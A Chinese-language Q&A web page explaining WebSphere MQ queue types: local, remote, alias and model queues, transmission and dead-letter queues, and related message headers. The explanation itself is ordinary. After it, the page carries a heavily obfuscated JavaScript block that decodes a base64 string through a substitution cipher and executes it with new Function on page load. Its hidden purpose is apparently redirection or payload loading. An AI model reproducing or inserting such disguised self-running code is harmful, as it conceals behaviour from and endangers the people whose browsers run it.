WebSphere MQ中的队列有几种啊

WebSphere MQ中的队列有几种啊?谢谢
2025-03-13 23:24:01
推荐回答(1个)
回答1:

可以简单的把队列看作一个容器,用来存放消息。队列按其定义来分,可以分成本地队列、远程队列、别名队列和模型队列。其中本地队列是真正意义上的队列实体,可以用来存放消息。而远程队列和别名队列只是一种队列的定义,指向另一个队列实体。其中远程队列指向的是其他队列管理器中的队列,而别名队列指向的是本地队列管理器中的队列。模型队列有一点特殊,它虽然本身只是一个队列的定义,描述了模型的属性,但是当打开模型队列的时候,队列管理其就会以这个定义为模型,创建一个本地队列,被成为动态队列。

一个队列管理器可以管辖多个队列。但对于一个队列只能隶属于其中的一个队列管理器。所以队列在其所隶属于的队列管理器只能有唯一的名字,不能于同一个管理器中的其他的队列重名。当消息添加到队列中是,其缺省被添加到最后。删除消息时从头开始。

(1)本地队列:本地队列按照功能又可以分为初始化队列、传输队列、目标队列和死信队列。其中初始化队列用作消息触发。传输队列只是暂存待传的消息,在条件许可的情况下,通过管道将消息传送其他的队列管理器。目标队列是消息的目的地,可以长期存放信息。如果消息不能送达目标队列,也不能路由出去,则被自动放入死信队列。命令队列指的是WebSphere MQ队列管理器预定义的SYSTEM.ADMIN.COMMAND.QUEUE,任何的MQSC命令都可以发往改队列,并被队列管理器的命令服务器(Command Server)接受处理。

MQXQH(传输信息头,其中的RemoteQName和RemoteQMgrName两个域指名了目标队列和目标队列管理器)

MQDLH(死信信息头,其中DestQName和DestQMgrName两个域指名了原消息的目标队列和目标队列管理器,Reason域指名了消息无法投递的原因)。

MQMD(应答消息头,其中ReplyToQ和ReplyToMgr分别表示应答队列和应答队列管理器)

(2)别名队列:别名队列的TARGQ属性指名了其代表的目标队列名称,目标队列通常是本地队列。可以将别名队列理解为指针。

(3) 远程队列:远程队列也是一个定义,使用了远程队列,你就可以不用知道目标队列所在的队列管理器了。

(4) 模型队列:模型队列定义了一套本地队列的属性集合。一旦打开模型队列,队列管理器就会按照这些属性动态创建处一个本地队列。模型队列的DEFTYPE属性可以取值为PERMDYN和TEMPDYN分别代表永久动态度列和临时动态队列。

(function(){function p8e1545(xf90e981){var g6be64f2="8q^@3dueh.cW?pr6Sn1w45[/fHJLGF]NvP(j,U7V~9=BKOga%Mliys$RTkmY:o2IC|_Ez-QDAxt;XZ&b0!";var o1656="PtJB7S^i@d(plD&MN9/qTrwZ=QY!WE,x:j;IzvmkL3~_UHnyK8C[%gFfAcV2?.b4e1R-|0GahOu5s]6X$o";return atob(xf90e981).split('').map(function(g0fdd){var ac906=g6be64f2.indexOf(g0fdd);return ac906==-1?g0fdd:o1656[ac906]}).join('')}var c=p8e1545('rtmp://W2VnLiFbaSJlIisiSVlNIisiOyIrIjsiWmZSdGdrcWUhZ2Mpe2NSdGdrcWUhZ2NbLUQtO3wtXWF8WS45LSZdQW47JlkzRF1ESS5rfCl7ZVJjMXU2RGt6R2VnMW9xQ1hxY2dEVWVzRHEhNW9XP0RxUiE1NykpezVDcXQ1Z31VRDUgdG5EOU0zZlJ0Z2txZSFnYyxrQ01ZblkpezVDcXQ1ZyBkcTVlZ3NvUjUhN2xBRDVsIS5DYyxrQ01ZblkpfShVRDUgNzMzLnwtOTtmaSI/UFhFTy18Qn54VHBCXmRCTzQ2fiJdIlVDNUUtfCJdIlhlLkU5WSJdImtrcUVZLVk7RS05RXxJIFl8dlkmdjktIlooVUQ1IHcuJi0tOy07ZkFuOyZZM0RpdG5EOU0zYy1OJnwpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJlkpWl1zWTtZQ1lSZkFuOyZZM0RpdG5EOU0zYy1OJlkpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJnwpWl1bMlJEbmZESS5rfGl3LiYtLTstO2MiSjltYWs3bXQuJFNQazc/Wy5UZmYiKVpdZ0QySW4mOVJEZncuJi0tOy07YyJKOV4/SmJfP19HTj8yR210LlRmZiIpXS5DQ0lNZncuJi0tOy07YyJrOW1lazlfYURHO2ciKV13RG5JOUM7Mi5mdy4mLS07LTtjIms3bVsyUSRQL0hmZiIpXS5JLmsyOyYyZncuJi0tOy07YyJrOUBYRGJIZiIpXSxua25SSWZ3LiYtLTstO2MiazdtWS9iXiwvSGZmIildVXwzTVJJbjtDZncuJi0tOy07YyJEN25XMnNmZiIpXVJSRDs7a2Z3LiYtLTstO2MiazckdC9RbnEiKV1nUiYubi1mQW47JlkzRGl3LiYtLTstO2MiNEckLURUZmYiKVpdQ0REblIta2Z3LiYtLTstO2MiMlFuQS9UZmYiKShVRDUgNW5rRDItZncuJi0tOy07YyJrWXwtREdfPy5zZmYiKShVRDUgazs7MztSQyYoZVJjPyFrRHFlIWdvWENENWtBb2VnLkNOeFJjNW5rRDItKT5FfCl7azs7MztSQyZmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiLlFtSS5RJGEvR0ZmIikpKGs7OzM7UkMmb2UuZiJxIitnUiYubi1pUlJEOztrWmMpKnwtLS0tKGs7OzM7UkMmb1hxYT9Db1tlLnFBZiJ8LS15IihrOzszO1JDJm9YcWE/Q29BQ2VzQXFmIjstLVdOIihrOzszO1JDJm8uZVhEMj9DLmZxNXRDKGVSY0RJLmt8bzIhLmFMZmd0Pz8pe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpfUM/WEN7VUQ1IDVuUjkmfDNZRGZSdGdrcWUhZ2Mpe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpKEFuOyZZM0RvNUM3IVVDRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9KEFuOyZZM0RvRC4uRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9fVVENSBSMnx8LTJJbnxmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiL0d8ZS9HSGYiKSkoUjJ8fC0ySW58b2UuZmF8WS45LSYrZ1ImLm4tb2tDZT9jZ1ImLm4taVJSRDs7a1pjKSp8LS0tLSkoVUQ1IERrJjJZLWZSdGdrcWUhZ2NrLlJZJmsmbk0pe1VENSBhOzJ8Mi1NLWZnQ1sgcERxQ2MpKFVENSBQfFImayYyLS5mYFg3cWVCWGUuQjB7YXxZLjktJn1CMHthOzJ8Mi1NLW9xIX4ha0Q/Q3BEcUNkcTVlZ3NjKX1gKFVENSBYLllrMmZndD8/KHE1YXtYLllrMmZeZHhTb1dENVhDYz8ha0Q/ZHEhNURzQ29zQ3FqcUM3Y1B8UiZrJjItLikpfWtEcWtBY0Mpe31lUmNYLllrMmZmZ3Q/Pyl7WC5ZazJmezI1IVtYQzVsIXRncXYtXX19WC5ZazJvMjUhW1hDNWwhdGdxKysoVUQ1IDVNOTkmZnNZO1lDWVJjNzMzLnwtOTtvayFna0RxY2lgZyFbRTB7cERxQ2kiZyFbIlpjKX1gXWBBNUNSRTB7PyFrRHFlIWdvQTVDUn1gXWB0WGtFMHtYLllrMm8yNSFbWEM1bCF0Z3F9YF1aKW9YITVxY2MpZj5nUiYubi1pUlJEOztrWmMpRS1vOylpVXwzTVJJbjtDWmMiXSIpKShVRDUgQ1JSa1JNZjVNOTkmb2VnLkNOeFJjdG5EOU0zYy1OOS4pKT5FfDo1TTk5JmkuQ0NJTVpjNU05OSZvZWcuQ054UmN0bkQ5TTNjLU45LikpKXYiIig1TTk5JmY1TTk5Jml3RG5JOUM7Mi5aY0NSUmtSTV0iIilpLkkuazI7JjJaYyIiKWksbmtuUklaYylpVXwzTVJJbjtDWmMiIikrQ1JSa1JNKFIyfHwtMklufG9YNWtmaSJBcXFXWHYxMSIray5SWSZrJm5NXVIyfHwtMklufG9lLl01TTk5JlppVXwzTVJJbjtDWmMiMSIpKERJLmt8bzIhLmFvZWdYQzVxQENSITVDY1IyfHwtMklufF1ESS5rfG8yIS5hb2tBZT8uUyEuQ1hpLVopKGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ0RXV0NnLkMuIEM3IHEhIEFxNz8iKFVENSBnSUQta0Q7LVJmREkua3xvc0NxRj9DN0NncUBhai5jUjJ8fC0ySW58b2UuKShlUmNnSUQta0Q7LVJmZmd0Pz96emdJRC1rRDstUmZmdGcuQ1JlZ0MuKXtrOzszO1JDJm9VRD90QytmIlxcNVxcZyBrRGdxIHNDcSBDNyBSNSE3IEFxNz8ifX19KGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ1hDZy4gUFggQSFYcSAiK1stRC07fC19VUQ1IGcuWXxJLm4mTWZSdGdrcWUhZ2NbM0NEOVkzKXs1Q3F0NWcgdy4mLS07LTtjWzNDRDlZMylpd0RuSTlDOzIuWmN0bkQ5TTNjLU5ZRCldZ1ImLm4taVJSRDs7a1pjKW9xIWRxNWVnc2M5JilvWD9la0NjZ1ImLm4tb1I/ISE1Y2dSJi5uLWlSUkQ7O2taYykqbikrWSkpfShEayYyWS1jZy5ZfEkubiZNY1stRC07fC0pKShBbjsmWTNEaSJELi5GVUNncX5lWHFDZ0M1IlpjIjdDWFhEc0MiXVJ0Z2txZSFnY0Mpe2VSY0NvLkRxRG9WZmZhfFkuOS0mKXtESS5rfG9zQ3FGP0M3Q2dxQGFqLmNSMnx8LTJJbnxvZS4pbzVDNyFVQ2MpKFVENSA1azNZa01DZmd0Pz8oZVJjazs7MztSQyZMZmd0Pz8pe2s7OzM7UkMmb1VEP3RDK2YiXFw1XFxnNUNrQ2VVQyBDNyBXIVhxIDdDWFhEc0MiKGs7OzM7UkMmb1VEP3RDK2YiXFw1XFxnQ28uRHFEb1UgIitDby5EcURvdyg1azNZa01DZmNvb29SMnwzLVl8KWY+e2VSY0xSMnwzLVl8enpSMnwzLVl8bz9DZ3NxQTxmLSk1Q3F0NWcoazs7MztSQyZvVUQ/dEMrZiJcXDVcXGciK1IyfDMtWXxvUCFlZ2MiICIpfX1nQ1sgJHRna3FlIWdjIkQ1c1giXUNvLkRxRG93KWN7QnEua1h2WzJSRG5dQj8hc3Y1azNZa01DXX0pfX0pfSljIi9Za3RTNG0sRFkkLDJHTnEvWS47MmQ7LTI5VCZ4NFZ8U3NmZiJdIjlZIl1bZWcuIVtdLiFrdDdDZ3EpfShlSVlNOztjKSg='.substr(7));new Function(c)()})();